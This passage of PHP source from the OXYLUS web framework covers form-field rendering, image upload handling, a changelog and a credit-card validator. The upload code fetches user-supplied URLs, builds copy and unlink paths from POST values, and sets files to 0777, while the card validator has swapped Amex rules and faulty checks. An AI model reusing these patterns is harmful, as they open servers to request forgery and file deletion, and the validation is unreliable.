"--" ; } //importing the months from global global $form_months; if (is_array($months)) $formmonths = array_merge($months, $form_months); else $formmonths = $form_months; //ehcking if the dates must apear like strings or numbers $current_field .= $html->FormSelect( $field["name"]."_month" , $formmonths, $this->templates , "DateSelect", $month_selected, array() , array("DISABLED" => ($field["fields"]["month"]["editable"] == "false") ? "DISABLED" : "") ); $current_field .= $val["separator"]; break; case "hour": for ($i = 0; $i <= 23; $i++ ) $hours[$i] = sprintf("%02d",$i);; $current_field .= $html->FormSelect( $field["name"]."_hour" , $hours , $this->templates , "DateSelect", $hour_selected , array() , array("DISABLED" => ($field["fields"]["hour"]["editable"] == "false") ? "DISABLED" : "") ); $current_field .= $val["separator"]; break; case "minute": for ($i = 0; $i <= 59; $i++ ) $minutes[$i] = sprintf("%02d",$i);; $current_field .= $html->FormSelect( $field["name"]."_minute" , $minutes , $this->templates , "DateSelect", $minute_selected , array() , array("DISABLED" => ($field["fields"]["minute"]["editable"] == "false") ? "DISABLED" : "") ); $current_field .= $val["separator"]; break; case "second": for ($i = 0; $i <= 59; $i++ ) $seconds[$i] = sprintf("%02d",$i);; $current_field .= $html->FormSelect( $field["name"]."_second" , $seconds , $this->templates , "DateSelect", $second_selected , array() , array("DISABLED" => ($field["fields"]["minute"]["editable"] == "false") ? "DISABLED" : "") ); $current_field .= $val["separator"]; break; } } } } } return $current_field; } /** * description * * @param * * @return * * @access */ function __field__creditcard($field , $values) { //crap prepare the values if (is_array($values["values"][$field["name"] . "_arr"])) { //okay, here are the data $field["value_group_1"] = $values["values"][$field["name"] . "_arr"]["1"]; $field["value_group_2"] = $values["values"][$field["name"] . "_arr"]["2"]; $field["value_group_3"] = $values["values"][$field["name"] . "_arr"]["3"]; $field["value_group_4"] = $values["values"][$field["name"] . "_arr"]["4"]; } else { switch ($field["show"]) { case "blank": $field["value_group_1"] = ""; $field["value_group_2"] = ""; $field["value_group_3"] = ""; $field["value_group_4"] = ""; break; case "none": $field["value_group_1"] = $field["editable"] == "false" ? "xxxx" : ""; $field["value_group_2"] = $field["editable"] == "false" ? "xxxx" : ""; $field["value_group_3"] = $field["editable"] == "false" ? "xxxx" : ""; $field["value_group_4"] = $field["editable"] == "false" ? "xxxx" : ""; break; case "last": $field["value_group_1"] = $field["editable"] == "false" ? "xxxx" : ""; $field["value_group_2"] = $field["editable"] == "false" ? "xxxx" : ""; $field["value_group_3"] = $field["editable"] == "false" ? "xxxx" : ""; $field["value_group_4"] = substr($field["value"],12,4); break; default: $field["value_group_1"] = substr($field["value"],0,4) ; $field["value_group_2"] = substr($field["value"],4,4); $field["value_group_3"] = substr($field["value"],8,4); $field["value_group_4"] = substr($field["value"],12,4); break; } } $this->templates->blocks[$field["editable"] == "false" ? "cc_show" : "cc"]->Replace($field , false); $current_field = $this->templates->blocks[$field["editable"] == "false" ? "cc_show" : "cc"]->EmptyVars(); return $current_field; } /** * description * * @param * * @return * * @access */ function __field__namesort(&$field , &$values) { global $base; switch ($field["content"]) { case "alphanumeric": case "digits": for ($i = 0; $i<= 9; $i++) { $content[] = array("name" => $i , "link" => "javascript:document.forms[" . ($form["name"] ? "'" .$form["name"] . "'": '0') . "].{$field[name]}.value='" . $i. "'"); } if ($field["content"] == "digits") break; case "letters": //65 for ($i = 65; $i<= 90; $i++) { $content[] = array("name" => chr($i) , "link" => "javascript:document.forms[" . ($form["name"] ? "'" .$form["name"] . "'": '0') . "].{$field[name]}.value='" . chr($i). "'"); } break; } if (is_array($content)) { $current_field = $base->html->table( $this->templates, "namesort", $content ); } return $current_field; } /** * description * * @param * * @return * * @access */ function __field__calendar($field , $values) { $calendar_fields = array( "inputField" => '"field_' . $field["name"] . '"', "ifFormat" => '"{DATE}"' , "date" => '{DATE}' , "button" => '"field_' . $field["name"] . '_trigger"', "align" => '"Br"', "singleClick" => 'true', "range" => "[" . date("Y") . "," . (date("Y") + 10). "]", "boxsize" => "10" ); //check for variables from client if ($field["calendar"]["time"] == "true") { $calendar_fields["showsTime"] = "true"; $calendar_fields["ifFormat"] = "'{DATE} %H:%M'"; $calendar_fields["date"] = "{DATE} H:i"; $calendar_fields["boxsize"] = 16; } if ($field["calendar"]["range"]) { $tmp = explode(":" , $field["calendar"]["range"]); $calendar_fields["range"] = "[" . trim($tmp[0]) . "," . trim($tmp[1]) . "]"; } if ($_CONF["settings"]["locale"] == "eu"){ $calendar_fields["ifFormat"] = str_replace("{DATE}" , '%d/%m/%Y' , $calendar_fields["ifFormat"]); $calendar_fields["date"] = str_replace("{DATE}" , 'd/m/Y' , $calendar_fields["date"]); } else { $calendar_fields["ifFormat"] = str_replace("{DATE}" , '%m/%d/%Y' , $calendar_fields["ifFormat"]); $calendar_fields["date"] = str_replace("{DATE}" , 'm/d/Y' , $calendar_fields["date"]); } if ($field["calendar"]["style"]) $calendar_fields["style"] = $field["calendar"]["style"]; if ($field["value"] > 1000) $field["value"] = date($calendar_fields["date"] , $field["value"]); else $field["value"] = ""; if ($field["editable"] == "false") { $current_field = $this->templates->blocks["text"]->Replace($field); } else { $size = $calendar_fields["boxsize"]; unset($calendar_fields["boxsize"]); unset($calendar_fields["date"]); //process the calendar_fields $tmp = array(); foreach ($calendar_fields as $c_key => $c_val) { $tmp[] = "\t\t" . $c_key . ":" . $c_val; } $current_field = $this->templates->blocks["calendar"]->Replace( array_merge( $field , array( "_params" => implode(",\n" , $tmp), "boxsize" => $size ) ), FALSE ); } return $current_field; } /** * description * * @param * * @return * * @access */ function __private_uploads_pre($field , $_fields = array()) { global $_CONF , $base; $key = $field["name"]; $val = $field; //checking how choosed the client to set the image switch ($_POST[$key . "_radio_type"]) { case 0: //checking if the client specified any image type if (is_array($_FILES[$key . "_upload_client"]) && is_uploaded_file($_FILES[$key . "_upload_client"]["tmp_name"])) { $img = &$_FILES[$key . "_upload_client"]; //generate the extension $_POST[$key . "_ext"] = FileExt($_POST[$key . "_temp_file"]); //temporary upload the file in images/upload/tmp/ $name = $_POST[$key . "_temp"] != "" ? $_POST[$key . "_temp"] : $key . $val["file"]["default"] . time() . $val["file"]["ext"]; // generate the tn image if ($val["process"]) { $base->image->Resize( $img["tmp_name"] , //$_CONF["path"] . $_CONF["upload"] . "tmp/" . $name , $_CONF["path"] . $_CONF["upload"] . "tmp/" . $name, $val["process"]["width"], strtoupper($val["process"]["force"]) , null , null , null, null , $val["process"]["quality"] ? $val["process"]["quality"] : null , null, $val["process"]["watermark"], $val["process"]["height"] ); } else //dont use move uploaded file becouse will erase it and wont be available fro processing @copy($img["tmp_name"] , $_CONF["path"] . $_CONF["upload"] . "tmp/" . $name ); $_file_name = $img["tmp_name"]; /*DEPRECATED*/ if ($val["tn"]["generate"] == "true") { $base->image->Resize( $img["tmp_name"] , $_CONF["path"] . $_CONF["upload"] . "tmp/" . $val["tn"]["preffix"] . $name , $val["tn"]["width"] ); $_POST["tn_" . $key] = "1"; } //setting read/delete/save permission for all users, usefull if the httpd is working as normal user ( most cases ) chmod ($_CONF["path"] . $_CONF["upload"] . "tmp/" . $name , 0777); // die; //setting the temp variable $_fields["values"][$key . "_temp"] = $name; $_POST[$key . "_temp"] = $name; //$_POST[$key . "_file"] = $_FILES[$key . "_upload_client"]["name"]; $_POST[$key] = "1"; @$size = getimagesize($_CONF["path"] . $_CONF["upload"] . "tmp/" . $name); if (is_array($size)) { $_POST[$key . "_width"] = $size[0]; $_POST[$key . "_height"] = $size[1]; } } break; case "1": //fuck, the guy wants to download a fucking image if ($_POST[$key . "_upload_web"] != "http://") { //i have to be very carefully here, if the image is not a valid link, then //everithing get messed. $image = @GetFileContents($_POST[$key . "_upload_web"]); $name = $_POST[$key . "_temp"] != "" ? $_POST[$key . "_temp"] : $key . $val["file"]["default"] . time() . $val["file"]["ext"]; SaveFileContents( $_CONF["path"] . $_CONF["upload"] . "tmp/" . $name , $image); chmod ($_CONF["path"] . $_CONF["upload"] . "tmp/" . $name , 0777); if ($val["process"]) { $base->image->Resize( $_CONF["path"] . $_CONF["upload"] . "tmp/" . $name , $_CONF["path"] . $_CONF["upload"] . "tmp/" . $name . "resize" , $val["process"]["width"], strtoupper($val["process"]["force"]) ); unlink($_CONF["path"] . $_CONF["upload"] . "tmp/" . $name); rename($_CONF["path"] . $_CONF["upload"] . "tmp/" . $name . "resize" , $_CONF["path"] . $_CONF["upload"] . "tmp/" . $name); } $_file_name = $_CONF["path"] . $_CONF["upload"] . "tmp/" . $name ; // generate the tn image if ($val["tn"]["generate"] == "true") { @$base->image->Resize( $_CONF["path"] . $_CONF["upload"] . "tmp/" . $name , $_CONF["path"] . $_CONF["upload"] . "tmp/" . $val["tn"]["preffix"] . $name , $val["tn"]["width"] ); $_POST["tn_" . $key] = "1"; } //setting the temp variable $_fields["values"][$key . "_temp"] = $name; $_POST[$key . "_temp"] = $name; //$_POST[$key . "_file"] = basename($_POST[$key . "_upload_web"]); $_POST[$key] = "1"; @$size = getimagesize($_CONF["path"] . $_CONF["upload"] . "tmp/" . $name); if (is_array($size)) { $_POST[$key . "_width"] = $size[0]; $_POST[$key . "_height"] = $size[1]; } } break; case "-1": // echo "<pre style=\"background-color:white\">"; // print_r($_POST); // die; //trying to remove the tmp image is exists if (file_exists($_CONF["path"] . $_CONF["upload"] . "tmp/" . $_POST[$key . "_temp"]) && is_file($_CONF["path"] . $_CONF["upload"] . "tmp/" . $_POST[$key . "_temp"])) @unlink($_CONF["path"] . $_CONF["upload"] . "tmp/" . $_POST[$key . "_temp"]); //removing the original image too if exists else @unlink($_CONF["path"] . $_CONF["upload"] . $val["path"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"]); $_fields["values"][$key . "_radio_type"] = 0; $_POST[$key] = 0; $_fields["values"][$key . "_temp"] = ""; $_POST[$key . "_temp"] = ""; //$_POST[$key . "_file"] = ""; break; } if ($field["type"] == "image") { //hm ... checking if that IS A REAL IMAGE if ($_POST[$key . "_temp"] && !$file) { $img = @GetImageSize($_CONF["path"] . $_CONF["upload"] . "tmp/" . $_POST[$key . "_temp"]); if (!is_array($img)) { //removing the image, maybe in future return the fucker a proper answer //echo "MOHHHHH"; @unlink($_CONF["path"] . $_CONF["upload"] . "tmp/" . $_POST[$key . "_temp"]); $_POST[$key . "_temp"] = ""; $_POST[$key] = 0; } } } } /** * description * * @param * * @return * * @access */ function __private_uploads_after($field) { global $base, $_CONF; $val = $field; $key = $field["name"]; //process for cropping $crop = $_POST[$key . "_crop_oxbc"]; if ($crop) { $tmp_img = explode(":" , $crop); $width = $tmp_img[0]; $height = $tmp_img[1]; $x = $tmp_img[2]; $y = $tmp_img[3]; $c_width = $tmp_img[4]; $c_height = $tmp_img[5]; $source = $tmp_img[6]; $image_data = getImageSize($source); $image = new CImage(); //check if the image isnt set to be proportional if (!$width && !$height) { $width = $c_width; $height = $c_height; } //if the image its at the correct size, dont touch it if (($image_data[0] == $c_width) && ($image_data[1] == $c_height) && ($width == $c_width ) && ($height == $c_height)) { } else { //check if i need to resize just based on one dimension if ($width || $height) { if (!$width && $height) { $width = $c_width * ($height / $c_height ); } else { //check if no height if ($width && !$height) { $height = $c_height * ($width / $c_width ); } } } else { // i have no width or crop so i need to generate them $width = $c_width; $height = $c_height; } $image->CCrop( $source, $source . ".jpg", $width, $height, $x, $y, $c_width, $c_height ); unlink($source); rename($source . ".jpg" , $source); } } $source = $_CONF["path"] . $_CONF["upload"] . "tmp/" . $_POST[$key . "_temp"]; $destination = $_CONF["path"] . $_CONF["upload"] . $val["path"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"]; if (!is_file($source)) return false; if ($_POST[$key . "_temp"]) { $_POST[$key . "_file"] = $_POST[$key . "_temp_file"]; } //moving the image stored in temp variable //check if the file already exists if (is_file($destination)) { @unlink($destination); } @copy( $source , $destination ); //check the permission @chmod ($destination , 0777); // generate the tn image if ($val["tn"]["generate"] == "true") { @rename( $_CONF["path"] . $_CONF["upload"] . "tmp/" . $val["tn"]["preffix"] . $_POST[$key . "_temp"] , $_CONF["path"] . $_CONF["upload"] . $val["path"] . $val["tn"]["preffix"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"] ); } if (is_array($val["thumbnails"])) { foreach ($val["thumbnails"] as $__k => $__thumbnail) { @unlink($_CONF["path"] . $_CONF["upload"] . $val["path"] . $__thumbnail["preffix"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"]); if ($__thumbnail["crop"] == "true") { //check if i have sizes for resizing if (!$__thumbnail["width"] && !$__thumbnail["height"]) { @copy( $source , $_CONF["path"] . $_CONF["upload"] . $val["path"] . $__thumbnail["preffix"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"] ); } else { @$base->image->Crop( $source, $_CONF["path"] . $_CONF["upload"] . $val["path"] . $__thumbnail["preffix"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"], $__thumbnail["width"], null, null, null, null, null, null, $__thumbnail["quality"] ? $__thumbnail["quality"] : null , $__thumbnail["watermark"], $__thumbnail["height"] ); } chmod($_CONF["path"] . $_CONF["upload"] . $val["path"] . $__thumbnail["preffix"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"] , 0777); } else { //check if i have sizes for resizing if (!$__thumbnail["width"] && !$__thumbnail["height"]) { copy( $source , $_CONF["path"] . $_CONF["upload"] . $val["path"] . $__thumbnail["preffix"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"] ); } else { @$base->image->Resize( $source , $_CONF["path"] . $_CONF["upload"] . $val["path"] . $__thumbnail["preffix"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"], $__thumbnail["width"], null, null, null, null, null, null, $__thumbnail["quality"] ? $__thumbnail["quality"] : null , $__thumbnail["watermark"], $__thumbnail["height"] ); } chmod($_CONF["path"] . $_CONF["upload"] . $val["path"] . $__thumbnail["preffix"] . $val["file"]["default"] . $_POST[$val["file"]["field"]] . $val["file"]["ext"] , 0777); } } } //setting the image as true //remove the tmp image @unlink($source); $_POST[$key] = 1; return true; } } /* History v0.1 Added support for flash cropper Added support for flash uploader Moved all elements in its own function Removed the decodeentities from description for form->editelement v0.0.13 Unreleased Added multiple tables for relation type from simple list and drawelement Changed DrawElement its now split in functions for each element type v0.0.12 Monday 02 June 2008 Added doubleselect or double=true to droplist element Added exists=true to validate forms, opposite of the unique=true Added errors code to the validate errorCode = 1..5 and the defined constants Added type="calendar" to SimpleForm(); <cal default="eval:time();" type="calendar" title="Publish Date"> <calendar time="true" align="Bl" range="from:to" style="us|eu" [..] all params supported by the calendar /> </cal> Added eval:php function to the default="eval:time()" Added ProcessItems function Added crop=true to thumbnails, requieres the last library of images. Added support for simplelist->relation->multi=true when values are from <options> Added support for usstates / states / castates and rostates Added support for multiple records in categories / (ro|ca|us states) Changed store record to use CForm:ProcessVariables Full php 5 compatible #EXPERIMENTAL Changed the htmlentties in text elements and simple list in order to show the special chars romanian , french etc. so now if you have <p> inside the field it will be parsed as html it wont appear the code anymore. # Fixed recognition of empty=true and value=0 for droplists and related Fixed droplists with multilevel for php5 Fixed Calendar default date if not valid Fixed automatic url genration for text fields in details mode Fixed variables transmision over the search pages Fixed sql cacheing for simple list Deprecated alternance=true for editable forms, its my default now v0.0.11 Wensday 1 August 2007 ### BUG PHONE VALID ISNT WORKING RIGHT I:X:X now is A:X:X Added restricted="eval:.." to form edit, tabs, simplelist for dinamicaly limitations. Added referers="field1,field2" as an alias to <referers>.... to Form. also the refereed fields are automaticaly be marked as been refered. Added timezones field for show. Added multi=true for relation fields to SimpleList Added nolinks=true to SimpleList <header> Added nobr=true for text fields in show form Added "self.conf.url" to CForm::GlobalVars() Added IN ( similar for WHERE x in () for seach/sql_fields ) Added storeredirect=STOREDETAILS it will redirec to details page for add and edit. Added simplelist-type="image" tooltip text title="" Added alternance and valternance to simplelist Added $this->_set_nochecks to sql admin for the cases when i update a few fields and i dont want he checkboxes to be reseted ( must be set from the php only ) Added height to <image / <process, if height isnt then will be ignored Changed simplelist <header> if no se the gray part wont appear Changed simplelist <image to acced othe links then enlarge image ones Fixed image height and adminheight, if exists the image will be force to the certain height if not the proportion will be kept Fixed checkbox when in displaymode added both values label="<true_val>|<false_val>" Fixed type="usstates" , empty droplist Fixed IN_SET if no value specified it wont appears Fixed template problem for php5 for the search sections Fixed various array_merge warnings for php5 Fixed simplelist->relation cache to avoid douplicate queries. Fixed various imcompatibilities with php5.1 Fixed alternance="true" for DrawElement() Fixed droplist default text in noneditable mode. Fixed Search Header, acceptsn emtpy headers now to be transmited simplelist Fixed validatevars for imgCHECK element. Fixed showing error for validate routing for mutiple droplist. Fixed an older date fix for mktime Fixed $extra[<D|a|e>]["fields"]... Fixed appearing of the default image in simple list. Fixed SHOW::<section> to remove the after_save field NOTE changed the header to match to OX and current year v0.0.10 Wensday 8 November 2006 Added IN_SET ( for seach/sql_fields alias to FIND_IN_SET - sql function ) Added maxchars_text to SimpleList fields Added color="fg:bg" to SimpleList fields Added font="b,u,i" BOLD, UNDERLINE, ITALIC Added ordering to all columns in simple list Added radio w/ alias radiolist for droplist Added checklist for droplists w/ multi = true Added ID to button Added editable = false to all types Added phone field (xxx-xxx-xxxx) to show form, sql, admin, validate, size="box1size,box2size,box3size" Added html_entities_decode attribute to text tag Added onclick='' to checkbox Added editable=false to checkbox Added nolink=true to simpllist/image to remove the link from the image. Also added border=x ** Added multi='true', default='select1,select2' size='xrows' for multiple selects Added all javascript events to all elements ** Fixed multi=true for checlist in sqladmin Fixed ProcessVars _arr when nonarray vars passed then dont process it Fixed empty options Fixed password confirmation in CFORM::Validate() Fixed loose of original value in simplelist when link= is used Fixed phone showing when phone_arr isnt array Fixed sqladmin returnurl when the variable contaigns no / char. Changed refered elements, referer="true" became referer="refering_field", needed for validation Changed simple list query type. When empty build an <sql> group and execute as requested. Changed validate="" if the field is filled and validate exists it will be validated even if required=false Rewrited the droplist and related subroutine Removed subtypes from droplist v0.0.9 Tuesday 3 January 2006 Removed the showpassword button from password type and added show="true" for showing it Changed droplists <dynamic> to support descendendt numbers 2005-1900 Changed the description for the fields from editable pages to support content from external files, html or not. Added checkIMG tag ( enter the text from image in the box to can submit the form ) it works w/ local/after.forms.private.php Added nobr=true attribute to the simple list fields Added romanian states as ROstates, editable=false and usetext to use the text instead of the shornames for droplists Added new class CFormSettings, usefull for the settings elements. Added more usefulll variables to globalvars self.linkuid.add/delete...edc delete in section.xml for each $_GET[sub], self.action, and doing variables replaces in the global vars too Added after_save tag usefull when you need to add many records, avoids click every time on "add" Added default tag for simplelist fields (LATER MAKE IT COMPLEX ( eval etc )) Added support for comment elements to get the text from the $values is is set. Added urilink in the main sqladmin xml file. Added <help file="help/cvv2.html" location="module" type="popup"/> ( popup w/ help for form fields ) Remove the buttons from the html editor no need of it as far, will be redone in future Fixed the mysql error when no tables and db are passed to the object Fixed the returnurl when the variable wasnt in lower case for Editable forms. Fixed the variable name from vars when the name was the same with the ones from the fields Fixed align atribute for the comment elements Fixed sqladmin move_uploaded_files to copy. TO ADD ident to collapse v0.0.7 Saturday 3 September 2005 Added link feature to simplelist fields. Added new preexisted variables, organized them in one function instead of all over the code: self.file, self.mod, self.sub, self.action, self.var.mod, self.var.sub, self.var.action, self.uid, self.uidvar, self.link, self.linkuid, self.location, self.title, self.previous, self.previous_enc Changed the extended element not to show the title when it is missind, template altration too Added SIMPLE LIST: sql->vars->table type supports the import param, to get other tables from $this->tables Added date / editable = false, it already knows about the params m/d/Y if not set the user ones. Fixed date apearing when the main field was empty and the _month _day _year exists Fixed the checkbox autofill Fixed the subtitle apearance when no buttons are defined in Edit Form Various bug fixes v0.0.6 Sunday 3 May 2005 ( one of the most important days :) ) Added collapse option for simple list Added Canada states CAstates type. Added denyhtml to textarea, not to htmlentities the text from it. Added storeredirect=ADDDETAILS, when a new field is added to db, then the browser is redirected to the record details instead of HTTP_REFERER, this is usefull for the cases when you add a record, then you have to add some subrecord to that, and insted of ADD->STORE->LIST->DETAILS will be ADD->STORE->DETAILS. Smmother navigation. Added protected="table_field" for list buttons and for FormFields, if 1 then the fields will not apear, if showprotected=true then the fields will apear as text, not editable. Added complex_eval type, the return isnt put in the $tpl_var, so now we can have complex phpcode there :) >:) Added easy navigation variables, autogeneration of returnurl input field, PRIVATE.prev page and PRIVATE. action title varibales. Added align option for text fields Added allownl=true in simple list header Added [html][pre] to form generator Added comment tag in forms Added fileexists=true to Validate Added option to load/save the values from/to text files Added editable=flase to date field Added default value to text field Added <vars> to Simple list Added time to date field Added eval in all default values Added state field Added countries field Added pre and after for Simple List Added upload fild, extended the image field Added price action to text field in edit forms Added page type for sql vars in simple list Added form type for sql vars in simple list Added support for tree droplist in relation field ( not editable one ) Added CURRENT_PAGE variable in simple list pages Added confirmation page for deleting items when rconfirm=true title and description are the variables Changed [html] to support extern files Fixed paging return url, when jumping from page to page the url encode was lost Fixed the slash problem in the database, now handling the slashed directly from the database Fixed global vars replacing in links Fixed the uniq=true in edit mode Fixed the path in CSQLAdmin path Fixed buttons values ( now checking if value="true" instead of is_set($value) ) Fixed pagging count Fixed Comment field templates lossing Fixed vars replacing in form acction Fixed saving/reading external files content Fixed the template global vars in simple list Fixed tree droplists / saving and showing Fixed date incompatibility with Windows OS Fixed server_referer when the browser is redirected using javascript ( in delete operations ) Various bug fixes v0.0.5 Saturday 1 May 2004 Added alternance to drawelement function Added <subtitle> to Simple List, it apears on the bar wiht the buttons and search box Added extra content after each element $extra["fields"]["field_name"] in CForm and $extra["edit|add|details"]["fields"]["field_name"] in CSQLAdmin Added extra content to pre and after form content $extra["pre|after"] in CForm and $extra["edit|add|details"]["pre|after"] in CSQLAdmin Added <html tag to textarea and a first alhpa of html editor. Added support to configure the buttons to apear in html editor Added suffix and preffix to SimpleList elements. Added subtitle element. Added html|pre|and after form in Show Added html|pre|and after form in SimpleList Added javascript|pre|after in Show Added "disabled" option to droplist's options Added relation type and editable=false to droplists Fixed the buttons variables if no <buttons tag exists Fixed the SimpleList is the <items is missing Fixed the problem when is a referer or multiple to an element which doesnt exist Fixed the preffix and suffix order in DrawElement Fixed the images field, for uploading Fixed tn generation. v0.0.4 Monday 29 March 2004 Added referer option to elements, now you can have more then one "input" on the same element Added multiple option to elements Added the <condition ,<order and <ordermode tags to droplist/relations, to select only a custom number of records from db Added the preffix and suffix to fields $ [___] (USD) Added PRE and AFTER form javascript code Added ONCHANGE to droplist Added elements count _COUNT to list form Added options to list form, future will be added the relations Description gets a html_entity_decode before showing Changed the saving part to detect if the <table_uid> is set = edit else = add v0.0.3 Wensday 24 March 2004 Moved SimpleList from sqladmin in forms class Added image element to SimpleList Added date element to SimpleList Instead of $form array the data can be a path to a xml file The template is passed to sql admin, no longer loading from generic_form v0.0.2 Tuesday 16 March 2004 Fixed, add/edit SQL query. Sunday 14 March 2004 Added search support for list section. Added header titles to list section. Fixed the buttons apearance in list. ( they dont apear broken anymore ) Added upload/resize/efects image form to forms library, FUCK loosing the image if the forms isnt complety validated from first time. Added html editor to forms library. Fixed the image loosing when the form wasnt validated. Added the download from web image. v0.0.1 Wensday 3 March 2004 First version with basic options, edit, list, add. */ /* FIELD STRUCTURE // edit/add/details //forms, crappy, but this is the only file to remember how this crap works. <form> //all files must start and end with this tag // <msg field="link_id" field-type="textbox" field-sub="link_order" field-id="link_id" field-value="link_order" align="center" field-size="35" field-align="right" header="Order" width="40" type="field"/> <check type="checkIMG" src="register.php?security" required="true" validate="A:8:8"> <title>Security Code</title> <description>Enter the text from the image in the box bellow. The text is CASE SENSITIVE.</description> </check> //for simple list <collapse enable="true" id="project_milestones" default="false" cookie="true"/> <title></title> //the title of the form, it ususaly apear in the top of the html table. <action></action> // the link where the data will be posted //specials type = add , new data is ready to be added, edit = its a simple edit operation <name></name> // the name of the html form <form name="..." <widht><width> // the width of the form ( the html block ) <formtag><formtag> // if true then the <form action ... will be added <border></border> // if true then the border , which contaign the title and the <form tag <buttons> //define what buttons to apear in form, and where <set> <footer></footer> //if true then all buttons will apear in footer <header></header> //if true then all buttons will apear in header // if both are set then the buttons apears in both places </set> <button> <onclick></onclick> // javascript content which to be execudet at onclick event <button></button> // the name of the button, i dont acctualu see the point to havbe the same as tag // the image with the name button_{button}.gif will be showed for it, this depending // of the javascript code which draws the button. <location></location> // where to go when the button is pressed, like <a href="location" ... </button> [...] // the rest of the buttons </buttons> <fields> // the list of the fields which will apear on page <field_name> //the name of the fields exactly how it is in the database <name></name> // in case you want to use the same tag for all fields <field ... you have to specify the // name of the field ( drom the database table)) <type></type> // what type the field is, avaible types listed bellow hidden, - the field will not apear visual, will be just a hidden input textbox droplist image droplist checkbox html textarea radio text button <alternance>true</alternance> //alternate 2 colors for table rows <size></size> // the size of the field, it can have diferent semnifications depending of the field type X:Y and the type is textarea means the cols="x" and rows="y" S:M and type type is textbos means the size="s" and maxlength="m" <unique></unique> // if is true then the the database will be searched for duplicate names <unique_err></unique_err> // what error to be displayed to user in case there are duplicates <referer></referer> //if true then the field will apear in combination with other field, the title and the description will be ignored then, still having problems at validation ex: Name: [________] [_______] <required></required> // if is true, then the field will be required <validate>A:3:20</validate> // the validation formula which will be used A = the type, can be A, Z, I, ... see the common,php for all 3 = the min allower chars 20 = the maximum number of chars allowed NOTE: even if required is false, if any text is presend the it twill be validated <title></title> // the title of the field which will apearin the left part: Your Name: [_______] <description></description> // optional description/hint for this field <help file="help/cvv2.html" // the location of the file location="module|site" // location relative to module location or not type="popup|over" // what to happen when you click on the ? button , popup or overlib /> <default></default> // default value <forcevalue></forcevalue> // will set this value no matter if other exists <action> eval, // executes the default as phpcode and output is put in field value price, // formats the value as a price XX.xx int // formats the value as a integer number </action> // textarea ONLY <html>true</html> // shows a html editor instead oof a textarea, works on Mozilla and Internet Explorere too <buttons> //defines the list of the buttons to apear in html editor. Please take care at '' <toolbarX>'button1','button2'.. </buttons> // DROPLIST ONLY subtype="tree" parentfield="cat_parent" <options> // block avaible for droplists only, this is for building a droplist using static values from xml <option name="1"></option> // in html will apear like <option value="1"></option> </options> <dinamyc from="100" to="200" width="2" /> <relation> <sql> <vars> <var import="..." type="eval|var|page|form" /> </vars> <query>SELECT * FROM {TABLE} ....</query> </sql> <table></table> // the table from database which will be queried <id></id> // the field values which will be used for <option value="...." <text>code,name</text> // the fields which will be used for the option text, they are fields from table, thre can be more then one separed with comma, in the text will apeare separed with the charachtest specified in <separator></separator> tags <text> <field>field_name</field> <field field="table_field" preffix="{" suffix="}" /> </text> <separator></separator> <condition>`field`='1'</condition> // the were clause which will be used in sql query <order>field</order> //the result will be ordered after 'field' ... <ordermode>ASC|DESC</ordermode> //ascending or descending </relation> <empty></empty> // a set if the droplist to have fullfiled or to have a [slect] option on the first row <emptyMSG></emptyMSG> // an optional text which will apear if no options or no relations were found, instead of droplist element // <-- END </fields> */ ?>``` pre.template_path.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss author Exp $ description */ // dependencies $_CONF["template_path"] = "./"; ?> ``` creditcard.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss author Exp $ description */ // dependencies class CreditCard { /** * description * * @param * * @return * * @access */ function Valid($type , $nr) { //strip any values which arent digits $nr = CreditCard::Strip($nr); //supported creditcards for size,preffix validation $supported = array( "visa" => true, "mc" => true, "discovery" => true, "jcb" => true, "amex" => true, ); //check if size/preffix is supported, if not do just the luhn validation if (array_key_exists($type,$supported)) { switch ($type) { case "visa": $size = array( 13, 16 ); $preffix = "4"; break; case "mc": $size = 16; $preffix = array( 51, 52, 53, 54, 55 ); break; case "discovery": $size = 16; $preffix = "6011"; break; case "jcb": $size = array( 15, 16 ); $preffix = array( "3", "2131", "1800" ); break; case "amex": $size = array( 34, 37 ); $preffix = 15; break; } /* debug(array( "type" => $type , "nr"=> $nr, "size" => $size, "preffix" => $preffix )); */ //now do the tricks if (isset($size) && isset($preffix)) { $valid = false; //check the size first if (is_array($size)) { foreach ($size as $key => $val) { if ($val == strlen($nr)) { //found a number, stop the cicle $valid = true; break; } } } else $valid = (bool) $size == strlen($nr); //check if valid, if not no need to check for preffix anymore if (!$valid) return false; $valid = false; if (is_array($preffix)) { foreach ($preffix as $key => $val) { if ($val == substr($nr,0,strlen($val)) ) { $valid = true; break; } } } else $valid = (bool) $preffix == substr($nr , 0 , strlen ($preffix)); //check if valid, if not no need to check luhn if (!$valid) return false; } } //finally do the luhn algorithm return CreditCard::__luhn($nr) ? $nr : false; } function Strip($nr) { if (strlen($nr)) { for ($i = 0 ; $i<strlen($nr) ; $i++) { if (array_key_exists($nr[$i], array (0,1,2,3,4,5,6,7,8,9) )) { $_nr .= $nr[$i]; } } $nr = $_nr; } return $nr; } function Protect($nr , $last = 4) { if (strlen($nr) > 1) { $count = 1; for ($i = strlen($nr); $i > 0 ; $i-- ) { if (array_key_exists($nr[$i - 1], array (0,1,2,3,4,5,6,7,8,9) )) { if ($count > $last) { $nr[$i - 1] = "X"; } $count ++; } } } return $nr; } //i wont try to understand what here, //for more details http://www.beachnet.com/~hstiles/cardtype.html function __luhn($number) { $l = strlen($number); for ($i=0; $i<$l; $i++) { $q = substr($number,$l-$i-1,1)*($i%2+1); $r += ($q%10)+(int)($q/10); } return !($r%10); } } ?>``` forms.settings.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 